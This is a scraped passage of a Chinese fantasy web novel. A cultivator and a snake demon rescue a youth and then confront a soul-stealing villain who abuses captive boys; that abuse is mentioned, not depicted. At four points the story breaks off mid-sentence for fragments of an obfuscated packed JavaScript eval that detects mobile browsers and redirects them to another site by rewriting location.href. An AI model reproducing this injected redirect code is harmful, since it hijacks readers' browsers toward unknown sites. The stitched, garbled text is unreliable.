l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15767719|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得躺平装死。 行至天色将晚,已出城外,没有客栈驿馆落脚,却意外遇到一座废弃神殿,正好停下休憩。 何云迢一边拴马一边道:“今日在这里歇息一夜,出了这玄都城,至多十数日,便能到达神冲国都城。” 亦如空道:“带着这马车终究太慢,若弃车骑马而行,还能更快。” 柳玉京一听这话,立刻道:“哎哎哎,不行,我不爱骑马,就喜欢躺着坐车,你既然要带着我,就得把我伺候好了,我只会享受,吃不了苦。” 亦如空看他:“你能说话了?” 柳玉京道:“可不是?看来你那咒印也不甚好使,过几个时辰也就消散了。” 亦如空点点头:“我知道了,那……你再试试这一个吧。” 柳玉京一慌:“别!” 对于蛇妖这种好了伤疤忘了疼,看到棍棒又开始着慌的行为,亦如空很不理解。 但,还挺好玩的。 他笑了笑,信手驱动咒印,缓声道:“这一个叫作除相咒,可去除一切幻化表象,将其打回原形。” 柳玉京心头一突:“打个商量,要不还是用禁声咒吧……” 抵抗无用,柳玉京已应声变作蛇形,却不是那巨蟒身形,而是化作一条二尺长、三指粗的小绿蛇,啪嗒一声,挂在了车篷上。 石老儿抬手取下那小绿蛇,高兴道:“主人,你的驭咒之术实在了得,千年蛇妖,转眼化成蛇崽子了。” 绿蛇在石老儿掌中发出细小的叫声:“死老头,放开我!” 见蛇张大嘴,作势要咬人,石老儿连忙撒手一抛,亦如空下意识伸手,将其接在手中,掌心握住蛇冰凉细滑的身躯,不由得一怔。 他果然还是讨厌蛇的触感。 正想将其扔开,那柳玉京却打蛇随棍上,飞快钻进他的袖子里,缠在他手臂上。 蛇鳞冰凉的触感十分诡异,亦如空蹙眉,用另一只手去捉那蛇妖七寸,却听蛇妖悄悄传音道:“我变回蛇形,天雷造成的伤口便会剧痛,待在你身上竟会感觉好受些……别扔开我。” 亦如空蹙眉思索,片刻后,还是收回了手。 “这咒印效用只有一天。” 蛇妖默不作声,缠绕得更紧了些。 这回算是搬起石头砸自己的脚,亦如空轻叹一声,他暂时还未研究这除相咒的回转之法,只能尽量忽视胳膊上被蛇缠绕的奇怪触感,迈入神殿之中。 这神殿内供奉的,果然是应空的神像,只是早已破败潦倒,结满蛛网,落满灰尘。 石老儿扭头看亦如空的神色,发现他面色如常,无甚反应。 何云迢仰望那高大的塑像:“这神殿建得这般雄伟,如何竟废弃了?” 柳玉京在亦如空袖子里嗡嗡作响:“还能为什么,那些人终于发现拜这妖神压根无用呗。” 亦如空突然有些后悔,方才竟对此蛇生出些许怜悯之心。 大人不计小蛇过,亦如空忽视蛇妖的声音,也不看那神像,默默在殿内寻找合适休息的地方。 石老儿和何云迢都对照顾他很是热衷,亦如空转了一圈,回头一看,就见他们已经铺好了干净的简易地铺,招呼他过去。 亦如空看过,道:“还是你们睡吧,好生休息,明日好继续赶路。” 他在神像边上寻了个完好的蒲团,准备盘膝打坐,何云迢又飞快地上来,给那蒲团铺上一张净布。 翘枝爬上应空神像,用尾巴扫出一块干净地方卧下,看着何云迢如此殷勤,忍不住道:“何少爷,还真看不出你以前是个富家少爷,竟这般会照顾人。” 何云迢在亦如空的眼神和翘枝的话语中红了脸,不好意思地挠挠耳朵:“我以前也不会照顾人,但是仙师对我有恩,我无以为报,也只能做做这些力所能及的小事,尽量不怠慢了仙师。” “一口一个仙师,你这凡人,真当他是好人了,是没看见他一路上如何待我吗?”柳玉京又在多嘴。 亦如空决心不再对他留有好心,他探进袖中,正要攥住蛇尾将其扯出来,却摸见蛇尾上残缺的伤口,一时停顿。 蛇妖抓住机会细声碎嘴:“别偷偷摸我,你嘴上说讨厌蛇,难道是装的?” 正在亦如空思索能不能禁声咒除相咒齐用的当口,殿外突然传来一阵喧嚷声,一行人风尘仆仆挤进这神殿中来,看见殿中已有人,一时收了声。 45.少年 天光已晦,雷声渐起,今夜想来是个雷雨夜。 “几位道友,地方还宽敞,不介意我们兄弟几个进来挤一挤,避避雨吧?” 殿门倒塌的门口,拥攘着挤进来五个人,其中四个头戴斗笠,形貌粗犷,像是伙流寇盗匪。还有一个,则是个身材消瘦的黄衫少年。 闪电划破渐暗的天色,映亮这群不速之客斗笠上的水光。 其中一人手牵绳索,绳索另一端,正绑在那清瘦少年的手腕上。 少年被推搡来去,踉跄着扯进门来。 天光一闪,映亮殿内,一片暗影斑驳。 见亦如空目光看向少年,壮汉立刻牵动绳索,将那少年扯到身后半掩着。 亦如空收回目光:“这里是处野神殿,你们自然有落脚躲雨的自由,无需询问我们。” 壮汉一笑:“道友爽快人。” 他们摘下斗笠,甩着上面的雨水走进来,占据了神殿的右殿。 窗棂破洞外吹来带着土腥味的凉风,殿外雷声阵阵,殿内一片寂静。 众人隐没在黑暗中,只有闪电偶尔映亮,四面窗口时不时照进白光,应空神像投下巨大怪异的阴影。 一道细弱的少年嗓音打破沉寂,试探地问道:“几位大哥,我想去方便一下,能不能……” 另一道粗鲁的声音传来:“闭嘴,老实些,别想着耍花招,给老子憋到天亮再说。” 闪电时不时映亮亦如空的眉眼,有几道警惕的目光投到他脸上,又各自移开。 “这地方,好像有妖气……” “嘘!多一事不如少一事,莫要横生枝节。” 有压得极低的声音,趁着雷鸣雨声的掩盖在悄悄传递,但还是落进了亦如空耳中。 他所在的位置处于大殿居中,右手边是这群后来者,左手边则是石老儿等人。 翘枝隐匿在身后神像的阴影之下,没有发出任何声息,蛇妖也罕见安静下来,石老儿与何云迢各自躺倒在墙角下,没有动作。 亦如空忽略那些话语,收敛心神,闭目静心。 等到他再睁开眼时,天色竟已大亮,暴雨已停,众人似乎还在睡着,石老儿打着鼾,何云迢正翻身呓语。 亦如空扭头看向右殿,那几人仍是横七竖八躺着,竟连一丝动静都无。 不对。 亦如空眉心一紧,起身上前。 那四名大汉个个双目圆睁,面色青灰,看着气息断绝,已死去多时。 他们衣裳凌乱,身侧地面上布满了踢蹬抓挠的痕迹,死前一定剧烈挣扎过,为何自己竟一丝动静也未听见? 正疑惑间,衣角一动,一声呻吟自脚边传来。 亦如空低头看,是倒在四人身边的黄衫少年。 少年挣动几下,抬起两个被束缚的手腕,手指揪住亦如空的衣角:“救……救我……” 亦如空俯身去探,少年头一歪,晕死过去。 这厢动静吵醒了其余人,众人连忙起身凑拢过来,见此情形,无不惊讶莫名。 几人死相可怖,何云迢心头一突,扭头不敢去看:“怎么、怎么回事,昨夜发生了什么事……” 亦如空道:“他还活着,帮我扶住他。” 何云迢一听亦如空招呼,连忙依言过来,将那少年的脑袋托起来。 亦如空取出一枚先前在死地用内灵草所制的丹药,喂进少年口中。 少年意识不清,无法吞咽,亦如空想了想,正要施用灵力,被石老儿拦住:“主人,还是我来吧。” 在石老儿的灵力和灵草丹药作用下,少年的面色恢复了些许红润,挣扎着吐出一口带着血沫的秽物,状态总算安稳下来,看来已性命无虞。 翘枝看来看去:“师父,这些人的死状,是中毒?还是……” 亦如空摇头:“没有毒药的气味。” 石老儿目光扫过几人的尸身,疑惑不解:“太奇怪了,我怎么会睡得这般沉?竟什么都没听见。” “我也一丝动静都未察觉,”亦如空弹一弹衣袖,问那缠在自己袖中的蛇妖,“你呢?” 柳玉京身体蠕动,慢悠悠从他袖中探出个蛇头来:“我昨夜睡得香极了,简直可以说是千年以来最香的一觉……别问我,我什么都没听见。” 毫无头绪之际,那黄衫少年喉中发出声音,眼皮颤动,缓缓醒转过来。 他睁开双眼,不明所以地看着头顶的几人,一扭头,又看见身侧面目扭曲的死人,吓得叫喊一声,坐起身来瑟缩后退。 何云迢道:“别怕,你现在已经安全了。” 少年急喘几口,稳住心神,看向他们:“是你们救了我……多谢……” 石老儿问:“你是什么人,他们又是谁,为何要抓你?” 少年张了张嘴,眼睛转动,似乎不太想说。 亦如空看着他:“昨夜发生了什么,你可知道?” 少年看向殿中的神像:“一定是因为我昨夜向神明许愿,对……一定是神明听到了我的祈求……” “哦?你许了什么愿?” “我……我许愿说,愿意献出性命,同归于尽,换这几人惨死……这不怪我,他们害我在先,我实在没有办法,才……” 神明显灵?愿望成真? 亦如空一讪,就算真有神明显灵,那也一定不是名为应空的神明。 见他们不信,少年道:“若不是神明显灵,谁能在无声无息中杀死他们?诸位昨夜可听见一丝动静了?” “可是,你还活着。” 少年停顿片刻:“或许是神明垂怜于我,或许是我运气好,遇到了诸位。” 亦如空眉眼微沉,心知此事古怪,但他不太想浪费时间在此,也不想再同少年争论这神神叨叨的话题,只道:“无论如何,你现在已自由了,天高海阔,自行离去吧。” 他示意其余人收拾上路,正要转身,那少年却一骨碌爬起来,伸手拉住他。 亦如空回首,沉郁的目光扫过来。 少年连忙松手,只用祈求的目光看着他:“恩人一定是修行之人吧?可否,再帮在下一个忙?” 石老儿皱眉道:“我主人已经出手救你一命,不要得寸进尺。” 少年有些瑟缩,依然一副央求的神色。 亦如空缓缓道:“你连来历都不肯说,我要如何帮你?” 少年清瘦苍白的脸上神色几转,最后一咬牙,似乎打定了主意,开口道:“是夺魂判官在找我,我万不能落在他手中,否则,生不如死!” 石老儿一愣:“夺魂判官?那是何许人?” 少年道:“诸位想必是从别处来的,竟未听过夺魂判官的名头,他乃是此地一恶名在外的邪修,多年来招揽不少恶人为他所用,已成邪魔外教,犯下恶行无数。” “夺魂判官……”亦如空重复这唬人的名头,“抓住你的这几人,就是他派来的?” “正是……我实在宁肯死掉,也不想被他们抓回去,不想再落入那判官的手中。” “他为何抓你?” “因为……”少年愤愤地攥起拳头,“因为他是个喜爱娈童的老畜生,多年来一直搜罗样貌清秀的男子,用做炉鼎采补,待到玩弄至不成人形时,便用来滋养他手中的法器,我拼死才逃出魔窟,谁料还是被他的人抓住。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787234|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “竟有这等事……”何云迢听得咋舌。 亦如空想了想,道:“你想要我如何帮你?” 少年恳切道:“那老畜生在我身上种下了符咒,无论我躲到哪处,他总能追踪到我的所在,恩人既然是修行之人,一定会法术,求恩公看看,能否为我解除身上的符咒,否则,我还是逃不出他的魔掌。” 亦如空伸出手,手掌悬在少年身前,从他头顶一路往下,果然在腰腹处探知到一枚追踪符咒。 他收拢手掌,掌中用力,隔空将那符咒捏得粉碎。 少年双眸一亮,面露喜色,弯腰俯身,连连拜谢:“恩人除此符咒竟如此轻易,实在修为了得!多谢恩人!再生之恩,我袁妙没齿难忘!” 这名叫袁妙的少年生得俊俏伶俐,面白如玉,鼻梁上一颗小痣,分外醒目。 亦如空摆手,并不在意。 袁妙重获新生,却并不急着离去,而是继续道:“不知恩人们要到何处去?若是去往神冲,最好绕过前方的雾圩山而行,夺魂判官的老巢就在那处,他手中有一枚夺魂玉玺,实在是威力无穷,恩人们可一定小心。” 夺魂玉玺? 亦如空与石老儿对视一眼。 亦如空不动声色,石老儿眼中则掩不住惊讶之色。 “若是去往这雾圩山,是否能见到你口中的夺魂判官?”亦如空问道。 袁妙一愣:“恩人难不成竟要去寻他?万万不能!他那法器实在威力骇人,就算恩人修为高深,也不一定能讨得好处。” 亦如空道:“无妨,你若不说,我自去寻也行。” 袁妙犹豫片刻,叹息道:“恩人既问,在下岂有隐瞒之理,想找夺魂判官,只需去雾圩山中寻一处神殿,献上礼物参拜,声称入教,自会有他的门人带你去往教宗所在,也许有机会见到他,或者,面容俊俏的男子,那无需做什么,路过他的地盘,恐怕便会落入他手中……” 袁妙说着,抿了抿嘴唇,目光在亦如空脸上打量来去。 他似乎认定亦如空是去找死,几次欲言又止,最终还是没有再劝,几番道谢,告别几人,匆匆而去。 “主人,你真要去寻那判官?” “虽不知是不是那样东西,但如此明显的线索,总不能错过。” 石老儿道:“我陪主人一起前往。” “不必,你与他们继续赶路,我自去即可,再说,还有这蛇妖可助我。” 沉默已久的柳玉京探出头来:“就这么把我划作你的战力了?” “你难道还未认清这个现实?” 柳玉京蛇信一闪,懒洋洋道:“也好,我倒是想看看,你落在那喜好男色的老东西手里,会是个什么精彩的画面,想想就期待。” 兵分两路,亦如空运起身形,飞身前往雾圩山中,其余人则骑马乘车,继续沿官道前往神冲国。 “你还真是个宝贝,”柳玉京缠在亦如空袖中吹风,语气十分享受,“你到底是什么存在,为何身上竟有这股奇妙的治愈之力?若是吃了你,是不是能修为大涨,百病全消?” 他作势张开嘴,要在亦如空腕上咬一口。 “允许你幻想,”亦如空道,“但你要是胆敢咬下去,一定又是自讨苦吃。” 柳玉京闭上嘴,最终只是用蛇信触了触那处美味的皮肉:“或许哪一天,幻想能成真也说不定……” 亦如空轻轻一哼,显然在嘲他不自量力。 茂密的树丛在身下掠过,山林掩映间,一处飞翘的檐角显现出来,亦如空纵身而至,瞧见一座独立在山间密林中的宏伟庙宇。 柳玉京咦了一声:“好重的煞气!” 46.判官 煞气的确很重。 这大殿本就地处偏阴,密林阴暗幽深,檐牙嶙峋高翘,铜铃四面摇晃,目之所及,无不鬼气森森。 这地方并不像亦如空所料想的那样,广开大门,招揽信众,而是殿前空旷,门可罗雀。 亦如空四面一望,只见大殿屋顶檐角插着黑色魂旗,其中溢出魂气,结成一方结界,将这神殿笼罩其中。 这结界的作用,却并非为了避遮隔绝,想来只作提示之用,有人穿过屏障时,便会叫其中之人知晓。 亦如空越过屏障,迈步到神殿前。 主殿大门紧闭,门两侧贴着楹联,上书“十方恶鬼无去处,我于此地做阎罗”,上方门匾“收魂殿”。 这夺魂判官想必是个收魂炼术的魂修,毕竟魂魄喜阴暗,不能见光,所以这处大殿才会这般坐南朝北,建在背阴处。 亦如空信步往前,停在殿门口的雕像前,这雕像不是什么神像,而是座蟾蜍石雕。 那蟾蜍通体贴满符纸,长着一双人的胳膊,手里托着个乌黑的托盘。 亦如空正打量那东西,四面突然传来声音:“今天日子不错啊,咱多久没见生人了……道友,若要献礼,便放入托盘之中吧。” 献礼……献什么礼呢? 正想着,那飘忽的声音又道:“妖丹,法器,武器,只要出自诚心,不分贵贱。” 亦如空拿出储物锦囊,略一思忖,又把锦囊收了回去。 他将手探到袖中,把那蛇妖扯出来,放入盘中。 碧色小蛇在盘中立起身子,疑惑和震惊大过生气:“为什么是我?你手里不该有的是好东西吗?” 亦如空低声道:“其他东西送出去,兴许就回不来了,你却是能跑能动,实在是空手套白狼的不二之选。” 柳玉京无话可说。 该死,他甚至觉得很有道理。 结界扰动,黑光一闪,两个头戴黑帻,手拿挂青的白面男人,忽然闪现在石雕两旁。 两人一左一右,一高一矮,皆是眼圈青黑,面白如纸,他们也不去看那托盘中的“礼物”,而是上下打量亦如空,最后交换个意义不明的眼色。 亦如空对他们的目光浑不在意:“礼物我已献上,何时能见夺魂判官?” 两人一愣。 “你想见我们判官大人?” 右边个头稍高的白面人失笑道:“你想多了,献上礼物,不过是为表诚心,意指你愿意献上魂魄,向我们换取一个实现愿望的机会,要想亲见判官大人本尊,可没这么容易。” “那算了。”亦如空对盘中蛇伸出手,“回来。” 召之即来挥之即去,虽然柳玉京对此不爽,但是待在他身上的确更舒服……柳玉京只得攀上他的手,内心一边骂骂咧咧,一边默默爬回去。 左边那人道:“道友这就要放弃了?” “我来是为了见夺魂判官,既然献上礼物也见不到他,那我自是不献了。” 右边那人目光几转,突然不怀好意道:“道友若是心诚,实在想见判官大人,也不是没有办法……” 亦如空看向他:“说。” 那人咧嘴一笑,露出白森森的尖利牙齿:“我直说了,凭道友的容貌,何需献什么旁的礼物,不如献上自己,我们判官大人向来喜爱容貌俊雅之士,若见了你,定是爱不释手……” 蛇妖一听这话,霎时兴奋起来,从亦如空袖口探出头来看热闹。 亦如空毫不犹豫道:“好,如何做?” 那人眼睛一亮,眼底的青黑之色似乎都淡去不少:“道友当真自愿献身?不后悔?” 亦如空点头。 “好好好。”那人满面欢喜,伸手从雕像上揭下一张符纸,嘴里念念有词,青焰燃起,符纸在他指间化作飞灰,紧跟着,高大的殿门发出声响,缓缓开启。 那人转身带路:“道友,随我来!” “没劲。”柳玉京本来期待着亦如空露出一丝被冒犯的神色,或者生气动怒,或者大打出手,结果大失所望。 蛇妖悄悄传音:“你对出卖自己的色相,竟一丝羞耻或是难受都没有?” 亦如空不搭腔。 蛇妖自说自话:“啊,为达目的不择手段,你确实是这种人啊。” “你的话太多了。”亦如空道。 亦如空默默随那二人走进殿中,迈过门槛,入目便是一尊高大的塑像,不是什么神佛,而是个青年书生,头上戴冠,右手持印,左手持卷,昂首挺胸,志得意满。 亦如空打量那塑像:“这便是夺魂判官?” “正是判官大人的塑像。” 举目四看,黑漆梁柱,光线昏暗,殿内空间并不很大,除了正中这尊雕像,似乎别无旁物。 两个白面人对着那塑像燃香进拜,高个儿恭敬道:“师尊,弟子为您觅得绝色佳人,还请师尊开启法阵,让我将佳人送至您身侧。” 话音刚落,那雕像竟似乎眉开眼笑,脚下石座黑雾渐起,竟在雕像前方凭空显现出个通道来。 “这传送阵法可直达师尊身边,便由我带道友过去吧。”高个儿道。 另一人似乎有些不认可:“你确定?” 高个儿道:“放心,师尊若给赏赐,我必定与你平分。” “我说的不是这个,”那矮个白面人犹豫道,“他口口声声说要见师尊,或许别有目的,你如此草率……” “怕什么?师尊手中的法宝,谁能奈何?” 亦如空催促:“聊完了吗,能否出发了?” “道友竟如此迫不及待……别着急,咱们这就出发。” 高个儿白面人递过手中的挂青,示意亦如空抓住另一端。 迈入那黑雾漩涡,周遭环境转瞬变化,四面都是一片辨不清方向的浓稠黑雾,亦如空只能跟着挂青的牵引,缓缓前行。 也不知过去多久,鼻端潮湿陈腐的空气,突然变成浓郁的香气。 亦如空抬眼,眼前已不再是一片漆黑,而是一扇雕花木门,隔着窗纸,透出门内的灯火通明。 白面人暧昧地笑着,上前为他推开那扇门。 “道友,请进吧。” 亦如空迈进其中,发现这屋子宽阔无比,青玉铺地,兽皮做毯,灯笼烛台不要钱似的燃遍每个角落,屋子正当中,甚至还有一方铺满花瓣的清池。 数个身着轻衫的少年或坐或站,分散在房间各处,这些少年个个眉清目秀,只是神情呆滞,目光无神,对于亦如空的到来毫无反应。 雕花案桌上燃着香炉,也不知是什么香,香气熏得亦如空胸口发闷。 身后的门已被那白面人关上,环视一周,房中并无那夺魂判官,只有这些死气沉沉的少年。 柳玉京从亦如空袖中游出,探头四看:“这什么判官,还挺会享受的,这地方比彤云楼还浮华……只可惜没个姑娘,尽是些扭捏造作的男人。” 门外传来白面人的声音:“道友稍待,判官大人马上就到。” 亦如空想寻个椅子坐下,见那些圈椅上水光淋淋,不由眉头直皱。 抬眼见屏风后头还有里间,他朝着那处移步,直走到里间的案桌前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800856|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才停住。 案上地上,到处堆着散落的书简卷册,像是走入了某个读书人的书斋一般,同外头那奢靡浮华的景象,完全是两个样子。 “这里头竟还有一间书房,难不成那判官享乐之余,还会在这里做文章?”柳玉京道。 亦如空随手拿起案上一册书卷,发现蛇妖猜错了,这哪里是什么文章,里头分明都是些勾连交缠,不堪入目的图画。 他翻阅几眼,随手抛开。 蛇妖瞥见内容,倒是来了劲,离了他的手臂,追到桌上去看那图卷。 亦如空看着那追书的蛇:“你说你离开我会浑身剧痛,难不成是骗我的?” 蛇妖恬不知耻道:“会痛是真的,只是痛归痛,这等好东西可不能错过……乖乖,这可是绝版,神冲都城里出高价都寻不到的。” 亦如空不懂那些图画的趣处,只觉得跟在幻境中看见答叵做的那丑事一样,只会叫人烦腻恶心。 人与人为何那般?凡人若是为了族群繁衍倒也罢了,为何要如此沉迷,搞出诸多花样,真是秽亵不堪。 他懒得搭理蛇妖,转而去翻其他书簿,发现那竟全是名册,上面整整齐齐,写满了数不清的名字。 这夺魂判官,难不成还真是记名勾魂的判官? 正出神,忽然听见窗外似有喧闹之声,亦如空放下书簿,走到窗边,支开那窗棂,这才发现,他所处之地乃是一处楼阁,下方竟是行人如织、灯火辉煌的繁华街景。 这是何地?与外界时辰不同,难不成又是幻境? 看着看着,眼前的灯火行人开始摇晃重叠,视线莫名变得模糊不清。 亦如空捏了捏眉心,不对,这房中,似乎有什么影响人感官的东西。 神思浑噩间,身后传来声音:“听说有位佳人在寻我,要主动献身于我,就是你么?” 亦如空转回身去,看见一个朦朦胧胧的人影,那人影头戴獬豸冠,面白微须,打扮得像个官吏,又像个书生。 亦如空暗中掐诀,稳住心神,视线终于恢复清明。 他淡淡一笑:“你就是夺魂判官?比起那殿中的塑像,老了些。” 夺魂判官自诩阅遍美男子无数,今日却是头一次得见这等姿容气度的,一时目眩神迷,双眼发直,半晌才反应过来,答话道:“哦……哦,是我,正是我,那像是多年前塑的了,你放心,如今我虽长了年纪,本事却是一样好用的……” 这时,翻动书页的声音一响,亦如空望向案桌,见那蛇妖正钻在书卷里,用脑袋吃力地翻页,看淫.书看得起劲。 “这条蛇是你的灵宠?”判官眼睛一转,神色暧昧道,“我这本图册可是珍藏,郎君是看过了?可还喜欢?” 亦如空回到案桌旁,垂眼看那如饥似渴读书的蛇:“我不喜欢,这蛇倒是喜欢。” 判官大笑,朝着他凑近:“蛇性本淫,倒也正常,就是不知道,养这淫蛇做灵宠的小郎君,是不是也……” 他说着,作势就要来抚摸亦如空的手,那埋头书卷的蛇却突然暴起,扭转脑袋,一口咬在判官偷偷伸出的手上。 判官哎哟一声,连忙收回手,捧着手腕嘶嘶吸气。 只听那蛇张口道:“会不会说话?什么淫蛇,我这最多叫做风流,你这条淫蠹,才搭得上这个淫字。” 判官脸色一变:“你这蛇……” 亦如空抱起手臂,坦然道:“开门见山,听说你有一方可以夺魂的玉玺,拿出来,我想要。” 判官怀疑自己听错了:“你想要我的本命法宝?就这么,张嘴就要?” 47.假玺 亦如空眨眼,点头,意思是当然。 夺魂判官诧异道:“好一副理所应当的样子,天下哪有这白得的好事?” 紧跟着,他露出个意味不明的微笑:“除非,你让本座一亲芳泽,那本座倒是可以考虑……” 亦如空还未说什么,蛇妖先听不下去:“奉劝你,赶紧把东西拿出来,不要等到挨了揍才老实,到时候你是赔了夫人又折兵,更是亏大了。” 判官两眼一眯:“好个牙尖嘴利的蛇妖,跟你主人的气质实在不搭,不如由我帮他调理一番。” 他说着,两掌结印,就要锁拿那小蛇。 碧光一闪,三尺小蛇并未被他锁住,反而身量膨胀,眨眼变成个高大健壮的男人。 变回人形的蛇妖斜躺在书卷狼藉的案桌上,半张面具外,嘴角邪肆一勾,看来不甚好惹。 判官先是一怔,而后竟色胆包天,怪笑起来:“本座今日真是福分不浅,竟碰上买一赠一的好事,两个玉郎送上门来让我快活……” 柳玉京浑身蛇鳞一炸,恶心得不行,也顾不得再装惬意,跳起来兜头就要去揍那判官。 结果刚翻身而起,忽然一阵晕眩,险些摔下案桌去。 蛇妖稳住身形,埋怨亦如空道:“都怪你,让你给我使那些稀奇古怪的咒印,害得我现在脚步虚浮,打架也不甚好使了。” 他下得桌来,一屁股坐在桌沿上,宣布罢工:“你自己来吧,这判官长得恶心,说话也恶心,建议用你的噤声咒,还有什么这咒那咒的,都给他使上。” 亦如空看完蛇妖的表演,对着夺魂判官淡淡道:“夺魂玉玺,你当真不愿主动拿出来?” 判官打量着他,满脸的不可思议:“你究竟是什么人?生得相貌堂堂,行事却这般不讲理。” “不讲理?” “不然呢?” 亦如空叹道:“你奴役无辜少年,收人魂魄炼器,想必已坏事做尽,我以为同你这等人讲话,是不需要讲理的。” 夺魂判官一愣:“奴役无辜少年?你说外头那些?哼,若不是我,他们恐怕早已烟消云散,留在此处者,皆属自愿!” 亦如空自是不信,颇不认同地摇头:“敢做不敢认,更是不应当。” 夺魂判官面色不虞:“看来你今日是铁了心找茬,非要毁我这清净地了?” 亦如空环视一周,目光扫过那些浮华的色彩:“倒也称不上‘清净’。” 夺魂判官眼神微移,悄悄伸手,抚上书柜旁边的铜制香炉。 “我实在不明白,你又不是魂修,要我的玉玺来做甚?我的法宝对你而言,可用处不大。”香炉有双层,判官嘴里说话,手上暗暗转动上面的机括。 亦如空道:“那玉玺,原本并非你所有。” 夺魂判官气结:“真是无处说理,我自己取来的灵玉,自行炼化的法宝,怎的竟不是我所有了?” “既是如此,那你更应该将之拿出来一看,若真是你的,我自然作罢。” 夺魂判官气极反笑:“本座自己的本命法宝,竟要你来验证是不是归我所属,这是何道理?” 他一边说,眼睛一边看向那铜香炉冒出的青烟,心里默默计算着时间。 香气似乎变了味道。 外头传来窸窸窣窣的响动,亦如空转头,隔着半透的屏风望出去,只见灯火摇晃,影影绰绰,那些原本呆滞不动的少年,竟不知何时行动起来,他们相互靠近,依偎,叠成一道道或深或浅的影子。 赭红的挂毯,水色的纱幔,随着香气蒸腾,潮气渐漫,那些颜色渐渐混杂晕染,辨不分明。 亦如空望着那些飘摇的幻影,正莫名间,忽觉身后一沉,竟是柳玉京不知何时挨到了他身后。 “你怎么了?”亦如空转身,往后挪开,觉察到蛇妖状态古怪。 柳玉京此刻呼吸急促,眼睛正死死盯住亦如空的嘴唇,不断凑近。 亦如空蹙眉:“你中招了,速速清醒。” 蛇妖浑然不觉,喘息着越靠越近,亦如空只得伸出二指,点在他眉心,以灵力注入,唤他醒神。 柳玉京一个激灵,犹如大梦初醒,意识到自己方才要做什么,心中大震,连忙后撤数步。 亦如空倒是淡定依旧,见他已清醒过来,回身看向夺魂判官:“他方才摄住了你的心神,让你做出不受控制之举。” 他用衣袖卷起一册书本,朝着夺魂判官手边飞去,将那炉香击散。 柳玉京平复心跳,一时恼羞成怒,骂那判官道:“你这淫棍,使的什么见不得人的手段!” 夺魂判官道:“我这地方,还有这香,只是放大人心中的欲念罢了,可别都栽在我头上,你主人这等相貌,有点觊觎之心也是正常的,何须羞耻?” 柳玉京闻言,更是怒火中烧,恨不得立刻上去拔了那判官的舌头。 亦如空拦住他,掐一套指诀,示意柳玉京照做:“情绪越激动,越容易受影响,捏住清心决。” 柳玉京顿了顿,梗着脖子应下,依言复刻。 心神清朗后,蛇妖眯起眼看向夺魂判官,手指捏得咔咔响:“我本来不屑干所谓惩恶扬善的事,但是,今日随手除掉你这为祸一方的恶徒,也不是不行。” 夺魂判官冷笑道:“本座与你们无冤无仇,你们找上门来滋事,空口诬赖,还欲夺我法宝,实在不知,谁更像恶徒。” 柳玉京哼道:“废话少说!” 蛇妖运起法力,本该张开一张阵网,将那夺魂判官束缚擒拿,结果却风平浪静,无事发生。 柳玉京低头看自己的手掌:“怎么回事?那咒印给我留下后遗症了?” 夺魂判官大笑起来:“入我灵域,中我魂香,你们已使不出灵力,看你们还有何办法!” 判官收住笑声,瞪着依旧淡定自若的亦如空:“说!为何空口诬赖于我?” 亦如空道:“我本不认识你,为何要空口诬赖你?我来这里,只是因为在受害之人口中,听闻过你的恶名。” 夺魂判官怒:“谁?是哪个东西在污我名声?” “你难道忘了那被你追捕迫害的少年?”亦如空点点自己的鼻梁,“这里,有一颗痣的少年。” 夺魂判官一愣:“什么有一颗痣的少年,我压根不认……” 柳玉京突然一个闪现上前,揪住那判官的衣领子,指间蓄起灵力:“再给你最后一次机会,赶紧把你那什么玉玺拿出来给他,然后受死。” “你、你怎的又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816587|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能……”夺魂判官的獬豸冠歪到一边,满脸惊诧。 亦如空道:“因为他好歹也是高于玄妖的大妖,虽本性不坚,道行不稳,极易中招,但只要有所防范,破你这魂香,也不算太难。” “是在夸我吗?”柳玉京迷惑,“听着不像好话呢?” 眼见处境不妙,夺魂判官却似乎铁了心抵抗到底:“本命法宝在我灵台之中,除非我主动祭出,否则,饶是你们再多手段,也休想得见!” 亦如空抬手,一道咒印无声无息打进夺魂判官身体里。 “什么东西?”夺魂判官下意识去挡,然而那东西并无实质,灵力也不能格挡,触体即融,实在防不胜防。 “没什么,”亦如空道,“只是它能叫你从此以后变成半瘫,再也不能行那图卷之上的龌龊事。” “什么?”夺魂判官怔住了。 “还有这种咒印?你连这也研究?”柳玉京一怔,紧跟着心慌起来,“该不会给我也……” 柳玉京还在惴惴不安,判官已是双腿瘫软,柳玉京撒开他的衣领,他便只能软倒下去,倚靠在案边。 